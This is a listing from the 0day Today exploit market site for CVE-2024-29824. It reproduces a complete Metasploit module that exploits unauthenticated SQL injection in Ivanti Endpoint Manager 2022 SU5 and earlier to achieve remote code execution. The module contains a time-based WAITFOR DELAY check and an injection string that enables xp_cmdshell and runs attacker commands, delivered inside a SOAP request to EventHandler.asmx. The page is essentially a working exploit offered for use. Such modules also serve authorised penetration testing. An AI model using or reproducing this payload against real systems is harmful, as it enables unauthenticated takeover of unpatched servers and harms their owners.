[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Ivanti EPM RecordGoodApp SQL Injection / Remote Code Execution Exploit

Author
metasploit
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-39680
Category
remote exploits
Date add
09-07-2024
CVE
CVE-2024-29824
Platform
windows
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  class IvantiEpmRequestError < StandardError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti EPM RecordGoodApp SQLi RCE',
        'Description' => %q{
          Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to unauthenticated SQL injection which can be leveraged to achieve unauthenticated remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'James Horseman', # original PoC, analysis
          'Christophe De La Fuente' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://forums.ivanti.com/s/article/Security-Advisory-May-2024'],
          [ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-24-507'],
          [ 'URL', 'https://github.com/horizon3ai/CVE-2024-29824'],
          [ 'URL', 'https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability/'],
          [ 'CVE', '2024-29824']
        ],
        'Platform' => ['windows'],
        'Privileged' => true,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-05-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          # MS SQL logs will contain evidence of `xp_cmdshell` being used
          # Fetch payload cannot be deleted while a Meterpreter session is active
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )
    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The URI of the EPM Web Services', '/']),
        OptInt.new('DELAY', [ true, 'The delay to detect if the target is vulnerable using time-based SQLi in second', 5])
      ]
    )
  end

  def sqli_payload(cmd)
    "';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '#{cmd.encode(xml: :text)}'--"
  end

  def xml_payload(sqli)
    <<~XML
      <?xml version="1.0" encoding="utf-8"?>
      <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
        <soap12:Body>
          <UpdateStatusEvents xmlns="http://tempuri.org/">
            <deviceID>string</deviceID>
            <actions>
              <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
                <status>GoodApp=1|md5=#{sqli}</status>
              </Action>
            </actions>
          </UpdateStatusEvents>
        </soap12:Body>
      </soap12:Envelope>
    XML
  end

  def soap_request(sqli, timeout = 20)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'WSStatusEvents', 'EventHandler.asmx'),
      'method' => 'POST',
      'ctype' => 'application/soap+xml; charset="utf-8"',
      'data' => xml_payload(sqli)
    }, timeout)

    raise IvantiEpmRequestError, 'Failed to send the SOAP request' unless res

    res
  end

  def check
    print_status("Checking if the target is vulnerable using time-based SQLi (delay=#{datastore['DELAY']})")

    _res, elapsed1 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:0';select 1--") }
    vprint_status("Baseline query elapsed time: #{elapsed1}")

    _res, elapsed2 = Rex::Stopwatch.elapsed_time { soap_request("';WAITFOR DELAY '0:0:#{datastore['DELAY']}';select 2--") }
    vprint_status("Delayed query elapsed time: #{elapsed2}")

    if elapsed2.to_i > elapsed1.to_i && elapsed2 >= datastore['DELAY']
      return CheckCode::Vulnerable('SQLi executed')
    else
      return CheckCode::Safe('SQLi not executed')
    end
  rescue IvantiEpmRequestError => e
    return CheckCode::Unknown(e.to_s)
  end

  def exploit
    soap_request(sqli_payload(payload.encoded), 1)
  rescue IvantiEpmRequestError
    # Expecting no response if an interactive payload such as Meterpreter is used
  end
end

#  0day.today [2024-09-19]  #